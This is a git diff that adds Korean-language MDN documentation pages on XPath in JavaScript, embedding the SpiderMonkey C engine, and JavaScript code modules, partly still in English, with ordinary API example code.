+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

부록

+ +

사용자 정의 Namespace Resolver 구현

+ +

이는 단지 설명을 위한 예입니다. 이 함수는 xpathExpression에서 namespace 접두사를 취할 필요가 있고 그 접두사와 들어맞는 URI를 반환합니다. 예를 들어, 다음 식은

+ +
'//xhtml:td/mathml:math'
+
+ +

(X)HTML 표 데이터 셀 요소의 자식인 모든 MathML 식을 선택합니다.

+ +

mathml: 접두사를 namespace URI 'http://www.w3.org/1998/Math/MathML'와 html:을 URI http://www.w3.org/1999/xhtml와 관련시키기 위해 우리는 함수 하나를 제공합니다.

+ +
function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+
+ +

그러면 document.evaluate 호출은 다음과 같습니다.

+ +
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

XPathResult 정의 상수

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
결과형 정의 상수설명
ANY_TYPE0식 평가에서 자연스럽게 생긴 어떤 형을 포함하는 결과 집합. 만약 결과가 node-set이면 UNORDERED_NODE_ITERATOR_TYPE이 항상 결과형임을 주의하세요.
NUMBER_TYPE1single 숫자를 포함하는 결과. 이는 예를 들어, count() 함수를 쓰는 XPath 식에 쓸모가 있습니다.
STRING_TYPE2single 문자열을 포함하는 결과.
BOOLEAN_TYPE3single boolean 값을 포함하는 결과. 이는 예를 들어, not() 함수를 쓰는 XPath 식에 쓸모가 있습니다.
UNORDERED_NODE_ITERATOR_TYPE4식과 일치하는 모든 노드를 포함하는 결과 node-set. 노드는 반드시 문서에 나타나는 순서대로가 아닐지도 모릅니다.
ORDERED_NODE_ITERATOR_TYPE5식과 일치하는 모든 노드를 포함하는 결과 node-set. 결과 집합의 노드는 문서에 나타나는 순서대로입니다.
UNORDERED_NODE_SNAPSHOT_TYPE6식과 일치하는 모든 노드의 snapshot을 포함하는 결과 node-set. 노드는 반드시 문서에 나타나는 순서대로가 아닐지도 모릅니다.
ORDERED_NODE_SNAPSHOT_TYPE7식과 일치하는 모든 노드의 snapshot을 포함하는 결과 node-set. 결과 집합의 노드는 문서에 나타나는 순서대로입니다.
ANY_UNORDERED_NODE_TYPE8식과 일치하는 어떤 단일 노드를 포함하는 결과 node-set. 노드는 식과 일치하는 문서의 첫 노드일 필요는 없습니다.
FIRST_ORDERED_NODE_TYPE9식과 일치하는 문서의 첫 노드를 포함하는 결과 node-set.
+ +
+

원본 문서 정보

+ + +
+ +

{{ languages( { "en": "en/Introduction_to_using_XPath_in_JavaScript" } ) }}

diff --git a/files/ko/javascript_c_engine_embedder's_guide/index.html b/files/ko/javascript_c_engine_embedder's_guide/index.html new file mode 100644 index 0000000000..db46ed7fee --- /dev/null +++ b/files/ko/javascript_c_engine_embedder's_guide/index.html @@ -0,0 +1,434 @@ +--- +title: JavaScript C Engine Embedder's Guide +slug: JavaScript_C_Engine_Embedder's_Guide +tags: + - SpiderMonkey +--- +

이 문서는 C로 구현된 JavaScript 엔진인 SpiderMonkey를 전반적으로 소개하며, 애플리케이션이 JavaScript를 인식하도록 하기 위해 어떻게 엔진을 내장하는지에 대해 설명합니다. JavaScript엔진을 여러분의 애플리케이션에 내장하는데는 두가지 큰 이유가 있을 것입니다. 먼저, 스크립트를 사용하여 애플리케이션을 자동화하는 것이 있고, JavaScript엔진과 스크립트를 사용하여 특정 플랫폼에 의존적인 애플케이션 솔루션이 되지 않도록 크로스 플랫폼을 지원하는 것입니다.

+

지원되는 자바스크립트 버전

+

모질라 JS 엔진은 JS1.8, JS 1.3을 통해 JS1.0을 지원하고 ECMAScript-262 규약을 충족합니다. 간단하게 보면, JS 엔진은 JS 문장과 함수를 포함하는 스크립트를 파싱하여 컴파일하고 실행합니다. 해당 엔진은 스크립트 실행에 필요한 JS 개체의 메모리 할당을 관리하고 더 이상 필요하지 않을 경우, 가비지 컬렉션을 통해 개체를 지웁니다.

+

자바스크립트 엔진을 어떻게 사용하나?

+

일반적으로 JS엔진은 공유 리소스로 빌드합니다. 예를 들어, 윈도와 윈도NT에서는 DLL이고 유닉스에서는 공유 라이브러리가 됩니다. 사용방법은 간단합니다. 우선 애플리케이션에 JS엔진을 링크하고 나서 JS엔진 API를 애플리케이션에 임베딩합니다. 이렇게 하면 JS엔진 API는 다음 종류에 해당하는 기능을 제공하게 됩니다.

+ +

애플리케이션이 자바스크립트 호출을 지원하려면 런타임 제어(runtime control)와 데이터 타입 조정(datatype manipulation)등과 같은 종류의 기능을 사용합니다. 예를 들어, 어떤 자바스크립트를 호출하기전에 JS_NewRuntime함수를 호출해서 JS엔진을 생성하고 초기화해야 하며, 보안 제어(security control)와 같은 기능은 필요에 따라 선택적으로 사용할 수 있습니다.

+

How Does the Engine Relate to Applications?

+

개념적으로 JS엔진은 시스템에 존재하는 공유 리소스라고 볼 수 있습니다. API call을 애플리케이션에 임베딩하여, JS엔진에 요청을 넘길 수 있습니다. 요청을 처리한 엔진은 값이나 상태정보를 애플리케이션에 되돌려줍니다. 그림1.1은 이러한 일반적인 관계를 보여주고 있습니다.

+

그림 1.1

+

Image:Over1.gif

+

예를 들어 여러분이 자바스크립트를 사용하여 애플리케이션을 자동화하기 위해 JS엔진을 사용한다고 가정합시다. 그리고 해당 애플리케이션에서 실행하는 스크립트에 사용자를 인증하고 애플리케이션에 사용자 접근 권한을 설정한다고 합시다. 우선, 애플리케이션은 사용자에게 이름, 아이디, 접근권한을 위한 입력과 사용자에게 허락되어 애플리케이션에서 사용 가능한 기능 리스트를 보여줄 수 있는 JS 오브젝트를 생성할 수도 있습니다.

+

이러한 경우, 애플리케이션이 처음으로 JS엔진에 요청하는 것은 JS_NewObject를 호출하여 사용자 정의 개체를 생성하는 것입니다. JS엔진이 개체를 생성할 때, 애플리케이션에 해당 포인터를 반환합니다. 이때 부터 애플리케이션은 해당 개체를 사용하여 스크립트를 실행하기 위해 다시 JS엔진을 호출할 수 있습니다. 예를 들어, 사용자 개체를 생성한 이후, 애플리케이션은 스크립트를 즉시 컴파일하고 실행하기 위해 바로 JS_EvaluateScript에 전달할 것입니다. 그 결과, 좀 전의 스크립트는 사용자 정보를 얻어 확인해주고 애플리케이션이 가진 다른 기능을 사용할 수 있도록 접근 권한을 허락하게 됩니다.

+

In truth, the actual relationship between your application and the JS engine is somewhat more complex than shown in Figure 1.1. For example, it assumes that you have already built the JS engine for your platform. It assumes that your application code includes jsapi.h, and it assumes that the first call your application makes to the engine initializes the JS run time.

+

When the JS engine receives an initialization request, it allocates memory for the JS run time. Figure 1.2 illustrates this process:

+

Figure 1.2

+

Image:Over2.gif

+

The run time is the space in which the variables, objects, and contexts used by your application are maintained. A context is the script execution state for a thread used by the JS engine. Each simultaneously existent script or thread must have its own context. A single JS run time may contain many contexts, objects, and variables.

+

Almost all JS engine calls require a context argument, so one of the first things your application must do after creating the run time is call JS_NewContext at least once to create a context. The actual number of contexts you need depends on the number of scripts you expect to use at the same time in your application. You need one context for each simultaneously existing script in your application. On the other hand, if only one script at a time is compiled and executed by your application, then you need only create a single context that you can then reuse for each script.

+

After you create contexts, you will usually want to initialize the built-in JS objects in the engine by calling JS_InitStandardClasses. The built-in objects include the Array, Boolean, Date, Math, Number, and String objects used in most scripts.

+

Most applications will also use custom JS objects. These objects are specific to the needs of your applications. They usually represent data structures and methods used to automate parts of your application. To create a custom object, you populate a JS class for the object, call JS_InitClass to set up the class in the run time, and then call JS_NewObject to create an instance of your custom object in the engine. Finally, if your object has properties, you may need to set the default values for them by calling JS_SetProperty for each property.

+

Even though you pass a specific context to the JS engine when you create an object, an object then exists in the run time independent of the context. Any script can be associated with any context to access any object. Figure 1.3 illustrates the relationship of scripts to the run time, contexts, and objects.

+

Figure 1.3

+

Image:Over3.gif

+

As Figure 1.3 also illustrates, scripts and contexts exist completely independent from one another even though they can access the same objects. Within a given run time, an application can always use any unassigned context to access any object. There may be times when you want to ensure that certain contexts and objects are reserved for exclusive use. In these cases, create separate run times for your application: one for shared contexts and objects, and one (or more, depending on your application's needs) for private contexts and objects.

+

NOTE: Only one thread at a time should be given access to a specific context.

+

Building the Engine

+

Before you can use JS in your applications, you must build the JS engine as a shareable library. In most cases, the engine code ships with make files to automate the build process.

+

For example, under Unix, the js source directory contains a base gnu make file called Makefile.ref, and a config directory. The config directory contains platform-specific .mk files to use with Makefile.ref for your environment. Under Windows NT the nmake file is js.mak.

+

Always check the source directory for any readme files that may contain late-breaking or updated compilation instructions or information.

+

What Are the Requirements for Engine Embedding?

+

To make your application JS-aware, embed the appropriate engine calls in your application code. There are at least five steps to embedding:

+
    +
  1. Add #include "jsapi.h" to your C modules to ensure that the compiler knows about possible engine calls. Specialized JS engine work may rarely require you to include additional header files from the JS source code. For example, to include JS debugger calls in your application, code you will need to include jsdbgapi.h in the appropriate modules. Most other header files in the JS source code should + + not + be included. To do so might introduce dependencies based on internal engine implementations that might change from release to release.
  2. +
  3. Provide support structures and variable declarations in your application. For example, if you plan on passing a script to the JS engine, provide a string variable to hold the text version of the script in your application.Declare structures and variables using the JS data types defined in jsapi.h.
  4. +
  5. Script application-specific objects using JavaScript. Often these objects will correspond to structures and methods that operate on those structures in your C programs, particularly if you are using the JS engine to automate your application.
  6. +
  7. Embed the appropriate JS engine API calls and variable references in your application code, including calls to initialize the built-in JS objects, and to create and populate any custom objects your application uses.
  8. +
  9. Most JS engine calls return a value. If this value is zero or NULL, it usually indicates an error condition. If the value is nonzero, it usually indicates success; in these cases, the return value is often a pointer that your application needs to use or store for future reference. At the very least, your applications should always check the return values from JS engine calls.
  10. +
+

The following code fragment illustrates most of these embedding steps, except for the creation of JS scripts, which lies outside the scope of the introductory text. For more information about creating scripts and objects using the JavaScript language itself, see the + + Client-Side JavaScript Guide + . For further information about scripting server-side objects, see the + + Server-Side JavaScript Guide + .

+
.
+.
+.
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+/* include the JS engine API header */
+#include "jsapi.h"
+.
+.
+.
+
+/* main function sets up global JS variables, including run time,
+ * a context, and a global object, then initializes the JS run time,
+ * and creates a context. */
+
+int main(int argc, char **argv)
+{
+  int c, i;
+  /*set up global JS variables, including global and custom objects */
+
+  JSVersion version;
+  JSRuntime *rt;
+  JSContext *cx;
+  JSObject  *glob, *it;
+  JSBool builtins;
+
+  /* initialize the JS run time, and return result in rt */
+  rt = JS_NewRuntime(8L * 1024L * 1024L);
+
+  /* if rt does not have a value, end the program here */
+  if (!rt)
+    return 1;
+
+  /* create a context and associate it with the JS run time */
+  cx = JS_NewContext(rt, 8192);
+
+  /* if cx does not have a value, end the program here */
+  if (cx == NULL)
+    return 1;
+
+  /* create the global object here */
+  glob = JS_NewObject(cx, clasp, NULL, NULL);
+
+  /* initialize the built-in JS objects and the global object */
+  builtins = JS_InitStandardClasses(cx, glob);
+
+  .
+  .
+  .
+
+  return 0;
+
+}
+
+

This example code is simplified to illustrate the key elements necessary to embed JS engine calls in your applications. For a more complete example -- from which these snippets were adapted -- see js.c, the sample application source code that is included with the JS engine source code.

+

Understanding Key Embedding Concepts

+

For most of the JavaScript aware applications you create, you will want to follow some standard JS API embedding practices. The following sections describe the types of API calls you need to embed in all your applications.

+

In many cases, the order in which you embed certain API calls is important to successful embedding. For example, you must initialize a JS run time before you can make other JS calls. Similarly, you should free the JS run time before you close your application. Therefore, your application's main function typically sandwiches API calls for initializing and freeing the JS run time around whatever other functionality you provide:

+
int main(int argc, char **argv)
+{
+  int c, i;
+
+  /*set up global JS variables, including global and custom objects */
+  JSVersion version;
+  JSRuntime *rt;
+  JSContext *cx;
+  JSObject  *glob, *it;
+
+  .
+  .
+  .
+
+  /* initialize the JS run time, and return result in rt */
+  rt = JS_NewRuntime(8L * 1024L * 1024L);
+
+  /* if rt does not have a value, end the program here */
+  if (!rt)
+    return 1;
+
+  .
+  .
+  .
+
+  /* establish a context */
+  cx = JS_NewContext(rt, 8192);
+
+  /* if cx does not have a value, end the program here */
+  if (cx == NULL)
+    return 1;
+
+  /* initialize the built-in JS objects and the global object */
+  builtins = JS_InitStandardClasses(cx, glob);
+
+  .
+  .
+  .
+
+  /* include your application code here, including JS API calls
+   * that may include creating your own custom JS objects. The JS
+   * object model starts here. */
+
+  .
+  .
+  .
+
+  /* Before exiting the application, free the JS run time */
+  JS_DestroyRuntime(rt);
+
+

As this example illustrates, applications that embed calls to the JS engine are responsible for setting up the JS run time as one of its first acts, and they are responsible for freeing the run time before they exit. In general, the best place to ensure that the run time is initialized and freed is by embedding the necessary calls in whatever module you use as the central JS dispatcher in your application.

+

After you initialize the run time, you can establish your application's JS object model. The object model determines how your JS objects relate to one another. JS objects are hierarchical in nature. All JS objects are related to the global object by default. They are descendants of the global object. You automatically get a global object when you initialize the standard JS classes:

+
builtins = JS_InitStandardClasses(cx, glob);
+
+

The global object sets up some basic properties and methods that are inherited by all other objects. When you create your own custom objects, they automatically use the properties and methods defined on the global object. You can override these default properties and methods by defining them again on your custom object, or you can accept the default assignments.

+

You can also create custom objects that are based on other built-in JS objects, or that are based on other custom objects. In each case, the object you create inherits all of the properties and methods of its predecessors in the hierarchical chain, all the way up to the global object. For more information about global and custom objects, see Initializing Built-in and Global JS Objects and Creating and Initializing Custom Objects.

+

Managing a Run Time

+

The JS run time is the memory space the JS engine uses to manage the contexts, objects, and variables associated with JS functions and scripts. Before you can execute any JS functions or scripts you must first initialize a run time. The API call that initializes the run time is JS_NewRuntime. JS_NewRuntime takes a single argument, an unsigned integer that specifies the maximum number of bytes of memory to allocate to the run time before garbage collection occurs. For example:

+
 rt = JS_NewRuntime(8L * 1024L * 1024L);
+
+

As this example illustrates, JS_NewRuntime also returns a single value, a pointer to the run time it creates. A non-NULL return value indicates successful creation of the run time.

+

Normally, you only need one run time for an application. It is possible, however, to create multiple run times by calling JS_NewRuntime as necessary and storing the return value in a different pointer.

+

When the JS run time is no longer needed, it should be destroyed to free its memory resources for other application uses. Depending on the scope of JS use in your application, you may choose to destroy the run time immediately after its use, or, more likely, you may choose to keep the run time available until your application is ready to terminate. In either case, use the JS_DestroyRuntime to free the run time when it is no longer needed. This function takes a single argument, the pointer to the run time to destroy:

+
 JS_DestroyRuntime(rt);
+
+

If you use multiple run times, be sure to free each of them before ending your application.

+

Managing Contexts

+

Almost all JS API calls require you to pass a context as an argument. A context identifies a script in the JavaScript engine. The engine passes context information to the thread that runs the script. Each simultaneously-executing script must be assigned a unique context. When a script completes execution, its context is no longer in use, so the context can be reassigned to a new script, or it can be freed.

+

To create a new context for a script, use JS_NewContext. This function takes two arguments: a pointer to the run time with which to associate this context, and the number of bytes of stack space to allocate for the context. If successful, the function returns a pointer to the newly established context. For example:

+
 JSContext *cx;
+ .
+ .
+ .
+ cx = JS_NewContext(rt, 8192);
+
+

The run time must already exist. The stack size you specify for the context should be large enough to accommodate any variables or objects created by the script that uses the context. Note that because there is a certain amount of overhead associated with allocating and maintaining contexts you will want to:

+
    +
  1. Create only as many contexts as you need at one time in your application.
  2. +
  3. Keep contexts for as long as they may be needed in your application rather than destroying and recreating them as needed.
  4. +
+

When a context is no longer needed, it should be destroyed to free its memory resources for other application uses. Depending on the scope of JS use in your application, you may choose to destroy the context immediately after its use, or, more likely, you may choose to keep the context available for reuse until your application is ready to terminate. In either case, use the JS_DestroyContext to free the context when it is no longer needed. This function takes a single argument, the pointer to the context to destroy:

+
 JS_DestroyContext(cx);
+
+

If your application creates multiple run times, the application may need to know which run time a context is associated with. In this case, call JS_GetRuntime, and pass the context as an argument. JS_GetRuntime returns a pointer to the appropriate run time if there is one:

+
 rt = JS_GetRuntime(cx);
+
+

When you create a context, you assign it stack space for the variables and objects that get created by scripts that use the context. You can also store large amounts of data for use with a given context, yet minimize the amount of stack space you need. Call JS_SetContextPrivate to establish a pointer to private data for use with the context, and call JS_GetContextPrivate to retrieve the pointer so that you can access the data. Your application is responsible for creating and managing this optional private data.

+

To create private data and associate it with a context:

+
    +
  1. Establish the private data as you would a normal C void pointer variable.
  2. +
  3. Call JS_SetContextPrivate, and specify the context for which to establish private data, and specify the pointer to the data.
  4. +
+

For example:

+
 JS_SetContextPrivate(cx, pdata);
+
+

To retrieve the data at a later time, call JS_GetContextPrivate, and pass the context as an argument. This function returns the pointer to the private data:

+
 pdata = JS_GetContextPrivate(cx);
+
+

Initializing Built-in and Global JS Objects

+

The JavaScript engine provides several built-in objects that simplify some of your development tasks. For example, the built-in Array object makes it easy for you to create and manipulate array structures in the JS engine. Similarly, the Date object provides a uniform mechanism for working with and handling dates. For a complete list of built-in objects supported in the engine, see the reference entry for JS_InitStandardClasses.

+

The JS engine always uses function and global objects. In general, the global object resides behind the scenes, providing a default scope for all other JS objects and global variables you create and use in your applications. Before you can create your own objects, you will want to initialize the global object. The function object enables objects to have and call constructors.

+

A single API call, JS_InitStandardClasses, initializes the global and function objects and the built-in engine objects so that your application can use them:

+
 JSBool builtins;
+ .
+ .
+ .
+ builtins = JS_InitStandardClasses(cx, glob);
+
+

JS_InitStandardClasses returns a JS boolean value that indicates the success or failure of the initialization.

+

You can specify a different global object for your application. For example, the Netscape Navigator uses its own global object, window. To change the global object for you application, call JS_SetGlobalObject. For more information, see the reference entry for JS_SetGlobalObject.

+

Creating and Initializing Custom Objects

+

In addition to using the engine's built-in objects, you will create, initialize, and use your own JS objects. This is especially true if you are using the JS engine with scripts to automate your application. Custom JS objects can provide direct program services, or they can serve as interfaces to your program's services. For example, a custom JS object that provides direct service might be one that handles all of an application's network access, or might serve as an intermediary broker of database services. Or a JS object that mirrors data and functions that already exist in the application may provide an object-oriented interface to C code that is not otherwise, strictly-speaking, object-oriented itself. Such a custom object acts as an interface to the application itself, passing values from the application to the user, and receiving and processing user input before returning it to the application. Such an object might also be used to provide access control to the underlying functions of the application.

+

There are two ways to create custom objects that the JS engine can use:

+ +

In either case, if you create an object and then want it to persist in the run time where it can be used by other scripts, you must root the object by calling JS_AddRoot or JS_AddNamedRoot. Using these functions ensures that the JS engine will keep track of the objects and clean them up during garbage collection, if appropriate.

+

Creating an Object From a Script

+

One reason to create a custom JS object from a script is when you only need an object to exist as long as the script that uses it is executing. To create objects that persist across script calls, you can embed the object code in your application instead of using a script.

+

NOTE: You can also use scripts to create persistent objects, too.

+

To create a custom object using a script:

+
    +
  1. Define and spec the object. What is it intended to do? What are its data members (properties)? What are its methods (functions)? Does it require a run time constructor function?
  2. +
  3. Code the JS script that defines and creates the object. For example: function myfun(){ var x = newObject(); . . . } NOTE: Object scripting using JavaScript occurs outside the context of embedding the JS engine in your applications. For more information about object scripting, see the + + Client-Side JavaScript Guide + and the + + Server-Side JavaScript Guide + . Embed the appropriate JS engine call(s) in your application to compile and execute the script. You have two choices: 1.) compile and execute a script with a single call to JS_EvaluateScript, JS_EvaluateUCScript or 2.) compile the script once with a call to JS_CompileScript or JS_CompileUCScript, and then execute it repeatedly with individual calls to JS_ExecuteScript. The "UC" versions of these calls provide support for Unicode-encoded scripts.
  4. +
+

An object you create using a script only can be made available only during the lifetime of the script, or can be created to persist after the script completes execution. Ordinarily, once script execution is complete, its objects are destroyed. In many cases, this behavior is just what your application needs. In other cases, however, you will want object persistence across scripts, or for the lifetime of your application. In these cases you need to embed object creation code directly in your application, or you need to tie the object directly to the global object so that it persists as long as the global object itself persists.

+

Embedding a Custom Object in an Application

+

Embedding a custom JS object in an application is useful when object persistence is required or when you know that you want an object to be available to several scripts. For example, a custom object that represents a user's ID and access rights may be needed during the entire lifetime of the application. It saves overhead and time to create and populate this object once, instead of recreating it over and over again with a script each time the user's ID or permissions need to be checked.

+

One way to embed a custom object in an application is to:

+
    +
  1. Create a JSPropertySpec data type, and populate it with the property information for your object, including the name of the property's get and set methods.
  2. +
  3. Create a JSFunctionSpec data type, and populate it with information about the methods used by your object.
  4. +
  5. Create the actual C functions that are executed in response to your object's method calls.
  6. +
  7. Call to JS_NewObject or JS_ConstructObject to instantiate the object.
  8. +
  9. Call JS_DefineFunctions to create the object's methods.
  10. +
  11. Call JS_DefineProperties to create the object's properties.
  12. +
+

The code that describes persistent, custom JS objects should be placed near the start of application execution, before any code that relies upon the prior existence of the object. Embedded engine calls that instantiate and populate the custom object should also appear before any code that relies on the prior existence of the object.

+

NOTE: An alternate, and in many cases, easier way to create a custom object in application code is to call JS_DefineObject to create the object, and then make repeated calls to JS_SetProperty to set the object's properties. For more information about defining an object, see JS_DefineObject . For more information about setting an object's properties, see JS_SetProperty.

+

Providing Private Data for Objects

+

Like contexts, you can associate large quantities of data with an object without having to store the data in the object itself. Call JS_SetPrivate to establish a pointer to private data for the object, and call JS_GetPrivate to retrieve the pointer so that you can access the data. Your application is responsible for creating and managing this optional private data.

+

To create private data and associate it with an object:

+
    +
  1. Establish the private data as you would a normal C void pointer variable.
  2. +
  3. Call JS_SetPrivate, specify the object for which to establish private data, and specify the pointer to the data.
  4. +
+

For example:

+
 JS_SetPrivate(cx, obj, pdata);
+
+

To retrieve the data at a later time, call JS_GetPrivate, and pass the object as an argument. This function returns the pointer to an object's private data:

+
 pdata = JS_GetPrivate(cx, obj);
+
+

Handling Unicode

+

The JS engine now provides Unicode-enabled versions of many API functions that handle scripts, including JS functions. These functions permit you to pass Unicode-encoded scripts directly to the engine for compilation and execution. The following table lists standard engine functions and their Unicode equivalents:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Standard FunctionUnicode-enabled Function
JS_DefinePropertyJS_DefineUCProperty
JS_DefinePropertyWithTinyIdJS_DefineUCPropertyWithTinyId
JS_LookupPropertyJS_LookupUCProperty
JS_GetPropertyJS_GetUCProperty
JS_SetPropertyJS_SetUCProperty
JS_DeleteProperty2JS_DeleteUCProperty2
JS_CompileScriptJS_CompileUCScript
JS_CompileScriptForPrincipalsJS_CompileUCScriptForPrincipals
JS_CompileFunctionJS_CompileUCFunction
JS_CompileFunctionForPrincipalsJS_CompileUCFunctionForPrincipals
JS_EvaluateScriptJS_EvaluateUCScript
JS_EvaluateScriptForPrincipalsJS_EvaluateUCScriptForPrincipals
JS_NewStringJS_NewUCString
JS_NewStringCopyNJS_NewUCStringCopyN
JS_NewStringCopyZJS_NewUCStringCopyZ
JS_InternStringJS_InternUCString
--JS_InternUCStringN
+

Unicode-enabled functions work exactly like their traditional namesakes, except that where traditional functions take a char * argument, the Unicode versions take a jschar * argument.

+

Working with JS Data Types

+

JavaScript defines its own data types. Some of these data types correspond directly to their C counterparts. Others, such as JSObject, jsdouble, and JSString, are specific to JavaScript.

+

Generally, you declare and use JS data types in your application just as you do standard C data types. The JS engine, however, keeps separate track of JS data type variables that require more than a word of storage: JSObject, jsdouble, and JSString. Periodically, the engine examines these variables to see if they are still in use, and if they are not, it garbage collects them, freeing the storage space for reuse.

+

Garbage collection makes effective reuse of the heap, but overly frequent garbage collection may be a performance issue. You can control the approximate frequency of garbage collection based on the size of the JS run time you allocate for your application in relation to the number of JS variables and objects your application uses. If your application creates and uses many JS objects and variables, you may want to allocate a sufficiently large run time to reduce the likelihood of frequent garbage collection.

+

NOTE: Your application can also call JS_GC or JS_MaybeGC to force garbage collection at any time. JS_GC forces garbage collection. JS_MaybeGC performs conditional garbage collection only if a certain percentage of space initially allocated to the run time is in use at the time you invoke the function.

+

Working with JS Values

+

In addition to JS data types, the JS engine also uses JS values, called jsvals. A jsval is essentially a pointer to any JS data type except integers. For integers, a jsval contains the integer value itself. In other cases, the pointer is encoded to contain additional information about the type of data to which it points. Using jsvals improves engine efficiency, and permits many API functions to handle a variety of underlying data types.

+

The engine API contains a group of macros that test the JS data type of a jsval. These are:

+ +

Besides testing a jsval for its underlying data type, you can test it to determine if it is a primitive JS data type (JSVAL_IS_PRIMITIVE). Primitives are values that are undefined, null, boolean, numeric, or string types.

+

You can also test the value pointed to by a jsval to see if it is NULL (JSVAL_IS_NULL) or void (JSVAL_IS_VOID).

+

If a jsval points to a JS data type of JSObject, jsdouble, or jsstr, you can cast the jsval to its underlying data type using JSVAL_TO_OBJECT, JSVAL_TO_DOUBLE, and JSVAL_TO_STRING, respectively. This is useful in some cases where your application or a JS engine call requires a variable or argument of a specific data type, rather than a jsval. Similarly, you can convert a JSObject, jsdouble, and jsstr to a jsval using OBJECT_TO_JSVAL, DOUBLE_TO_JSVAL, and STRING_TO_JSVAL, respectively.

+

Unicode String Support

+

As with other API calls, the names of Unicode-enabled API string functions correspond one-for-one with the standard engine API string function names as follows: if a standard function name is JS_NewStringCopyN, the corresponding Unicode version of the function is JS_NewUCStringCopyN. Unicode-enabled API string functions are also available for interned string.

+

Interned String Support

+

To save storage space, the JS engine provides support for sharing a single instance of a string among separate invocations. Such shared strings are called "interned strings". Use interned strings when you know that a particular, string of text will be created and used more than once in an application.

+

The engine API offers several calls for working with interned strings:

+ +

Managing Security

+

With JavaScript 1.3, the JS engine added security-enhanced API functions for compiling and evaluating scripts and functions passed to the engine. The JS security model is based on the Java principals security model. This model provides a common security interface, but the actual security implementation is up to you.

+

One common way that security is used in a JavaScript-enabled application is to compare script origins and perhaps limit script interactions. For example, you might compare the codebase of two or more scripts in an application and only allow scripts from the same codebase to modify properties of scripts that share codebases.

+

To implement secure JS, follow these steps:

+
    +
  1. Declare one or more structs of type JSPrincipals in your application code.
  2. +
  3. Implement the functions that will provide security information to the array. These include functions that provide an array of principals for your application, and mechanisms for incrementing and decrementing a reference count on the number of JS objects using a given set of principles.
  4. +
  5. Populate the JSPrincipals struct with your security information. This information can include common codebase information.
  6. +
  7. At run time, compile and evaluate all scripts and functions for which you intend to apply security using the JS API calls that require you to pass in a JSPrincipals struct. The following table lists these API functions and their purposes:
  8. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionPurpose
JS_CompileScriptForPrincipalsCompiles, but does not execute, a security-enabled script.
JS_CompileUCScriptForPrincipalsCompiles, but does not execute, a security-enabled, Unicode-encoded script.
JS_CompileFunctionForPrincipalsCreates a security-enabled JS function from a text string.
JS_CompileUCFunctionForPrincipalsCreates a JS function with security information from a Unicode-encoded character string.
JS_EvaluateScriptForPrincipalsCompiles and executes a security-enabled script.
JS_EvaluateUCScriptForPrincipalsCompiles and executes a security-enabled, Unicode-encoded character script.
+

 

diff --git a/files/ko/javascript_code_modules/using_javascript_code_modules/index.html b/files/ko/javascript_code_modules/using_javascript_code_modules/index.html new file mode 100644 index 0000000000..a223db02bf --- /dev/null +++ b/files/ko/javascript_code_modules/using_javascript_code_modules/index.html @@ -0,0 +1,144 @@ +--- +title: JavaScript 코드 모듈 사용하기 +slug: JavaScript_code_modules/Using_JavaScript_code_modules +translation_of: Mozilla/JavaScript_code_modules/Using +--- +

{{ Fx_minversion_header(3) }}

+ +

JavaScript code modules are a concept introduced in Firefox 3 (Gecko 1.9) and can be used for sharing code between different privileged scopes. Modules can also be used to create global JavaScript singletons that previously required using JavaScript XPCOM objects. A JavaScript code module is simply some JavaScript code located in registered location. The module is loaded into a specific JavaScript scope, such as XUL script or JavaScript XPCOM script, using Components.utils.import.
+
+ JavaScript 코드 모듈은 Firefox 3 (Gecko 1.9)부터 도입된 개념이며 서로 다른 권한이 부여된 유효 범위들 간에 코드를 공유하는데 사용될 수 있습니다. 모듈은 전역 JavaScript XPCOM 객체를 사용 해야만 만들 수 있었던 전역 JavaScript 싱글톤(singleton)을 생성하는데도 사용할 수 있습니다. JavaScript 코드 모듈은 간단히 말하자면 등록된 위치에 존재하는 몇 개의 JavaScript 코드라고 할 수 있습니다. 모듈은 특정 JavaScript 유효 범위 안에서 불러올 수 있습니다. 즉, XUL 스크립트 또는 JavaScript XPCOM 스크립트에 Components.utils.import를 사용해서 불러오면 됩니다.

+ +

A very simple JavaScript module looks like this:
+
+ JavaScript 모듈의 아주 간단한 예는 다음과 같습니다:

+ +
var EXPORTED_SYMBOLS = ["foo", "bar"];
+
+function foo() {
+  return "foo";
+}
+
+var bar = {
+  name : "bar",
+  size : "3"
+};
+
+var dummy = "dummy";
+
+ +

Notice that the module uses normal JavaScript to create functions, objects, constants and any other JavaScript type. The module also defines a special Array named EXPORTED_SYMBOLS. Any JavaScript item named in EXPORTED_SYMBOLS will be exported from the module and injected into the importing scope. For example:
+
+ 함수, 객체, 상수 그리고 기타 JavaScript 타입을 생성하기 위해 모듈이 보통의 JavaScript를 사용함을 주목해주십시오. 또한 모듈은 EXPORTED_SYMBOLS 이라는 특수한 배열을 정의합니다. EXPORTED_SYMBOLS 이름이 붙여진 어떤 JavaScript 항목이라도 모듈에서 내보내져서 가져오기로 다시 유효 범위 안에 주입될 수 있습니다. 예를 들자면 다음과 같습니다:

+ +
Components.utils.import("resource://app/my_module.jsm");
+
+alert(foo());         // displays "foo"
+alert(bar.size + 3);  // displays "6"
+alert(dummy);         // displays "dummy is not defined" because 'dummy' was not exported from the module
+
+ +

An extremely important behavior of Components.utils.import is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the previously cached version. This means that a given module will be shared when imported multiple times. Any modifications to data, objects or functions will be available in any scope that has imported the module. For example, if the simple module were imported into two different JavaScript scopes, changes in one scope can be observed in the other scope.
+
